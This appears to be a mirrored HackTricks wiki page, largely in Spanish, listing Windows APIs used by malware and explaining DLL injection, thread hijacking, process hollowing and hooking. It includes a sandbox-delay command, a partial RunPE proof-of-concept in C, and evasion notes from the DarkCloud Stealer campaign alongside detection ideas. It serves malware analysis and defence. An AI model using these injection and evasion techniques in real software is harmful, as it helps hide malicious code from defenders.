mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
217 lines
12 KiB
Markdown
217 lines
12 KiB
Markdown
# API comunes usadas en Malware
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Genérico
|
||
|
||
### Redes
|
||
|
||
| Sockets sin procesar | Sockets WinAPI |
|
||
| -------------------- | -------------- |
|
||
| socket() | WSAStratup() |
|
||
| bind() | bind() |
|
||
| listen() | listen() |
|
||
| accept() | accept() |
|
||
| connect() | connect() |
|
||
| read()/recv() | recv() |
|
||
| write() | send() |
|
||
| shutdown() | WSACleanup() |
|
||
|
||
### TLS pinning y transporte fragmentado
|
||
|
||
Muchos loaders envuelven su flujo TCP en `SslStream` y fijan el certificado leaf del servidor contra una copia embebida (certificate pinning). La información/tareas del bot se comprime (p. ej., GZip). Cuando las respuestas superan un umbral (~1 MB), los datos se fragmentan en pequeños fragmentos (p. ej., segmentos de 16 KB) para evitar heurísticas basadas en el tamaño y reducir picos de memoria durante la deserialización.
|
||
|
||
|
||
### Persistencia
|
||
|
||
| Registro | Archivo | Servicio |
|
||
| ----------------- | ------------- | --------------------------- |
|
||
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
|
||
| RegOpenKeyEx() | CopyFile() | CreateService() |
|
||
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher()|
|
||
| RegDeleteKeyEx() | WriteFile() | |
|
||
| RegGetValue() | ReadFile() | |
|
||
|
||
### Cifrado
|
||
|
||
| Nombre |
|
||
| --------------------- |
|
||
| WinCrypt |
|
||
| CryptAcquireContext() |
|
||
| CryptGenKey() |
|
||
| CryptDeriveKey() |
|
||
| CryptDecrypt() |
|
||
| CryptReleaseContext() |
|
||
|
||
### Anti-análisis/VM
|
||
|
||
| Nombre de función | Instrucciones de ensamblador |
|
||
| --------------------------------------------------------- | ---------------------------- |
|
||
| IsDebuggerPresent() | CPUID() |
|
||
| GetSystemInfo() | IN() |
|
||
| GlobalMemoryStatusEx() | |
|
||
| GetVersion() | |
|
||
| CreateToolhelp32Snapshot \[Check if a process is running] | |
|
||
| CreateFileW/A \[Check if a file exist] | |
|
||
|
||
### Emulator API fingerprinting & evasión de sleep
|
||
|
||
Malware suele hacer fingerprinting de emuladores de sandbox buscando las exports virtualizadas de Defender (vistas en el Malware Protection Emulator). Si cualquiera de estos símbolos está presente (escaneo case-insensitive del proceso), la ejecución se retrasa 10–30 minutos y se vuelve a comprobar para consumir tiempo del análisis.
|
||
|
||
Ejemplos de nombres de API usados como canarios:
|
||
- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*`
|
||
- familia `VFS_*`: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile`
|
||
- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads`
|
||
|
||
Primitiva típica de retardo (user-land):
|
||
```cmd
|
||
cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
|
||
```
|
||
Control de argumentos
|
||
- Los operadores a veces requieren que esté presente un switch de CLI con apariencia benigno antes de ejecutar el payload (p. ej., `/i:--type=renderer` para imitar procesos hijos de Chromium). Si el switch está ausente, el loader sale inmediatamente, dificultando la ejecución naive en sandboxes.
|
||
|
||
|
||
### Stealth
|
||
|
||
| Nombre | Descripción |
|
||
| ------------------------ | -------------------------------------------------------------------------- |
|
||
| VirtualAlloc | Alloc memory (packers) |
|
||
| VirtualProtect | Change memory permission (packer giving execution permission to a section) |
|
||
| ReadProcessMemory | Injection into external processes |
|
||
| WriteProcessMemoryA/W | Injection into external processes |
|
||
| NtWriteVirtualMemory | |
|
||
| CreateRemoteThread | DLL/Process injection... |
|
||
| NtUnmapViewOfSection | |
|
||
| QueueUserAPC | |
|
||
| CreateProcessInternalA/W | |
|
||
|
||
### Execution
|
||
|
||
| Nombre de función |
|
||
| ----------------- |
|
||
| CreateProcessA/W |
|
||
| ShellExecute |
|
||
| WinExec |
|
||
| ResumeThread |
|
||
| NtResumeThread |
|
||
|
||
### Misceláneo
|
||
|
||
- GetAsyncKeyState() -- registro de teclas
|
||
- SetWindowsHookEx -- registro de teclas
|
||
- GetForeGroundWindow -- Obtener el nombre de la ventana activa (o la web abierta en un navegador)
|
||
- LoadLibrary() -- Importar librería
|
||
- GetProcAddress() -- Obtener la dirección de la función
|
||
- CreateToolhelp32Snapshot() -- Listar procesos en ejecución
|
||
- GetDC() -- Captura de pantalla
|
||
- BitBlt() -- Captura de pantalla
|
||
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Acceder a Internet
|
||
- FindResource(), LoadResource(), LockResource() -- Acceder a recursos del ejecutable
|
||
|
||
## Malware Techniques
|
||
|
||
### DLL Injection
|
||
|
||
Execute an arbitrary DLL inside another process
|
||
|
||
1. Locate the process to inject the malicious DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
|
||
2. Open the process: GetModuleHandle, GetProcAddress, OpenProcess
|
||
3. Write the path to the DLL inside the process: VirtualAllocEx, WriteProcessMemory
|
||
4. Create a thread in the process that will load the malicious DLL: CreateRemoteThread, LoadLibrary
|
||
|
||
Other functions to use: NTCreateThreadEx, RtlCreateUserThread
|
||
|
||
### Reflective DLL Injection
|
||
|
||
Load a malicious DLL without calling normal Windows API calls.\
|
||
The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function.
|
||
|
||
### Thread Hijacking
|
||
|
||
Find a thread from a process and make it load a malicious DLL
|
||
|
||
1. Find a target thread: CreateToolhelp32Snapshot, Thread32First, Thread32Next
|
||
2. Open the thread: OpenThread
|
||
3. Suspend the thread: SuspendThread
|
||
4. Write the path to the malicious DLL inside the victim process: VirtualAllocEx, WriteProcessMemory
|
||
5. Resume the thread loading the library: ResumeThread
|
||
|
||
### PE Injection
|
||
|
||
Portable Execution Injection: The executable will be written in the memory of the victim process and it will be executed from there.
|
||
|
||
### Process Hollowing (a.k.a **RunPE**)
|
||
|
||
`Process Hollowing` is one of the favourite **defence-evasion / execution** tricks used by Windows malware. The idea is to launch a *legitimate* process in the **suspended** state, remove (hollow) its original image from memory and copy an **arbitrary PE** in its place. When the primary thread is finally resumed the malicious entry-point executes under the guise of a trusted binary (often signed by Microsoft).
|
||
|
||
Typical workflow:
|
||
|
||
1. Spawn a benign host (e.g. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **suspended** so that no instructions run yet.
|
||
```c
|
||
STARTUPINFOA si = { sizeof(si) };
|
||
PROCESS_INFORMATION pi;
|
||
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
|
||
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
|
||
```
|
||
2. Read the malicious payload into memory and parse its PE headers to obtain `SizeOfImage`, sections and the new `EntryPoint`.
|
||
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – unmap the original image base of the suspended process.
|
||
4. **VirtualAllocEx** – reserve RWX memory of `SizeOfImage` inside the remote process.
|
||
5. **WriteProcessMemory** – copy the `Headers` first, then iterate over sections copying their raw data.
|
||
6. **SetThreadContext** – patch the value of `EAX/RAX` (`RCX` on x64) or `Rip` in the context structure so that `EIP` points to the payload’s `EntryPoint`.
|
||
7. **ResumeThread** – the thread continues, executing the attacker-supplied code.
|
||
|
||
Minimal proof-of-concept (x86) skeleton:
|
||
```c
|
||
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
|
||
// 1. create suspended process
|
||
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
|
||
CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
|
||
|
||
// 2. read remote PEB to get ImageBaseAddress
|
||
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
|
||
GetThreadContext(pi.hThread,&ctx);
|
||
PVOID baseAddr;
|
||
ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
|
||
|
||
// 3. unmap original image & allocate new region at same base
|
||
NtUnmapViewOfSection(pi.hProcess,baseAddr);
|
||
PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
|
||
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
|
||
// 4-5. copy headers & sections …
|
||
// 6. write new image base into PEB and set Eip
|
||
WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
|
||
ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
|
||
SetThreadContext(pi.hThread,&ctx);
|
||
// 7. run!
|
||
ResumeThread(pi.hThread);
|
||
}
|
||
```
|
||
Notas prácticas observadas en la campaña **DarkCloud Stealer**:
|
||
|
||
* El loader seleccionó `RegAsm.exe` (parte del .NET Framework) como host – un binario firmado que probablemente no llame la atención.
|
||
* El VB6 stealer descifrado (`holographies.exe`) *no* se escribe en disco; solo existe dentro del hollowed process, lo que dificulta la detección estática.
|
||
* Las cadenas sensibles (regexes, paths, credenciales de Telegram) están **RC4-encrypted** por cadena y solo se descifran en runtime, complicando aún más el memory scanning.
|
||
|
||
Ideas de detección:
|
||
* Alertar sobre procesos `CREATE_SUSPENDED` que nunca crean ventanas GUI/console antes de que se asigne una región de memoria como **RWX** (raro en código benigno).
|
||
* Buscar una secuencia de llamadas `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` entre procesos diferentes.
|
||
|
||
|
||
|
||
## Hooking
|
||
|
||
- La **SSDT** (**System Service Descriptor Table**) apunta a funciones del kernel (ntoskrnl.exe) o al driver de GUI (win32k.sys), de modo que los procesos de usuario puedan llamar a estas funciones.
|
||
- Un rootkit puede modificar estos pointers hacia direcciones que controla.
|
||
- **IRP** (**I/O Request Packets**) transmiten fragmentos de datos de un componente a otro. Casi todo en el kernel usa IRPs y cada device object tiene su propia function table que puede ser hooked: DKOM (Direct Kernel Object Manipulation)
|
||
- La **IAT** (**Import Address Table**) es útil para resolver dependencias. Es posible hookear esta tabla para secuestrar el código que será llamado.
|
||
- **EAT** (**Export Address Table**) Hooks. Estos hooks pueden hacerse desde **userland**. El objetivo es hookear funciones exportadas por DLLs.
|
||
- **Inline Hooks**: Este tipo es difícil de lograr. Implica modificar el código de las funciones en sí. Quizá poniendo un jump al inicio de las mismas.
|
||
|
||
|
||
## Referencias
|
||
|
||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|